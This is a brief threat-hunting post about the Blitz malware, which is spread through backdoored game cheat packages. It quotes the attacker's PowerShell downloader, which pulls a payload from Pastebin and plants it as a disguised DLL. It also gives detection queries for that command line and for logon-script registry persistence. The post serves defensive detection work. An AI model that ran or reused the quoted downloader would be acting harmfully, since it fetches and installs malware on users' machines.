159. Hunting for Backdoored Game Cheats

Hello everyone!

Malware distribution through game cheats isn't a new phenomena, so it's important to be able to detect related activities. Let's look into fresh report by Unit42 on new Windows-based malware called Blitz.

The malware author used social media to distribute Blitz through game cheat packages. The threat actor abused PowerShell to deliver Blitz downloader:

powershell.exe -c \"$ProgressPreference = 'SilentlyContinue';

$p=\\\"$env: LOCALAPPDATA\\Microsoft\\Internet Explorer\\ieapfltr.dll\\\"; $hu='https://pastebin.com/ raw/FSzik5ew'; $du=(irm 'https://pastebin.com/raw/RzLEd17Z');if (Test-Path $p) {$eh=irm $hu;if($eh. Length -eq 64 -and $eh -match '^[a-fA-F0-9]{64}$'){$ah=(Get-FileHash $p -Algorithm SHA256).Hash;if ($eh -ne $ah) {iwr $du -OutFile $p}}}else{iwr $du -OutFile $p}\"

Let's focus on Pastebin and iwr to build our hunting query:

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("pastebin" AND "iwr")

One more thing - persistence mechanism. It's not the most common, so it's a good idea to hunt for registry modifications related to Logon Scripts:

event_type: "registryvaluesetwin"

AND

reg_key_path: "UserInitMprLogonScript"

See you tomorrow!

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